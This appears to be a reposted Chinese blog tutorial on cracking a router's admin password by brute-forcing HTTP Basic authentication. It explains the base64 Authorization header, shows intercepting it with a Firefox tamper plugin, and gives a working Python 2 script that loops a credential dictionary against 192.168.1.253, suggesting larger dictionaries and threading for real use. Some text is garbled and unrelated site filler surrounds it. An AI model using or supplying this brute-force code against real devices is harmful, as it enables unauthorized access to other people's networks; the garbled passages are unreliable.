網絡故障(network failure)是指由于硬件的問題、軟件的漏洞、病毒的侵入等引起網絡無法提供正常服務或降低服務質量的狀態。 先看上面的文章 ------------ Evi1m0 Daniel破解了路由器的連接密碼,然后破解了路由器的管理登錄密碼. 此過程是一次性的,因此在這里我將詳細討論. 首先,什么是http基本認證? 在HTTP協議進行通信的過程中,HTTP協議定義了基本認證過程以允許HTTP服務器對WEB瀏覽器進行用戶的方法,當一個客戶端向HTTP服務 器進行數據請求時,如果客戶端未被認證,則HTTP服務器將通過基本認證過程對客戶端的用戶名及密碼進行驗證,以決定用戶是否合法?蛻舳嗽诮邮盏紿TTP服務器的身份認證要求后,會提示用戶輸入用戶名及密碼,然后將用戶名及密碼以BASE64加密,加密后的密文將附加于請求信息中, 如當用戶名為anjuta,密碼為:123456時,客戶端將用戶名和密碼用“:”合并,并將合并后的字符串用BASE64加密為密文,并于每次請求數據 時,將密文附加于請求頭(Request Header)中。HTTP服務器在每次收到請求包后,根據協議取得客戶端附加的用戶信息(BASE64加密的用戶名和密碼),解開請求包,對用戶名及密碼進行驗證,如果用 戶名及密碼正確,則根據客戶端請求,返回客戶端所需要的數據;否則,返回錯誤代碼或重新要求客戶端提供用戶名及密碼。 讓我們先抓取數據包,看看http標頭是什么樣子. 我使用firefox +篡改數據,請先安裝此插件. 安裝后,按Alt鍵顯示菜單欄,工具-篡改數據, 打開路由器的登錄URL,我的是 點擊上方的啟動篡改,然后輸入帳戶密碼, 點擊篡改以攔截此請求,然后您可以看到 請參閱授權,以下顯然是base64編碼的內容,讓我們對其進行解碼并查看 這是我們的帳戶密碼,中間帶有一個冒號,然后是base64編碼. 了解基本原理,我們可以編寫一個程序來破解它. 找到一個帳戶和密碼字典,對其進行編碼,然后將其添加到http標頭中. 這很容易. #coding:utf-8 import base64 import urllib2 password_dic = [["root", "root"], ["admin", "admin"], ["admin", "rootroot"]] request = urllib2.Request('http://192.168.1.253') #request.add_header('Authorization', 'Basic YWRtaW46cm9vdHJvb3Q=') for item in password_dic: psw_base64 = "Basic " + base64.b64encode(item[0] + ":" + item[1]) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "Correct! Username: %s, password: %s" % (item[0], item[1]) break except urllib2.HTTPError: print "Error!" 使用python隨附的urllib2,上面的password_dic由我自己編寫. 如果您真的想破解它,它將有一個大詞典,它將在多個線程中運行. request.add_header('Authorization', psw_base64)
當今,越來越多的業務應用運行于網絡架構之上,保障網絡的持續、高效、安全的運行,成為網絡管理者面臨的巨大挑戰。 |
溫馨提示:喜歡本站的話,請收藏一下本站!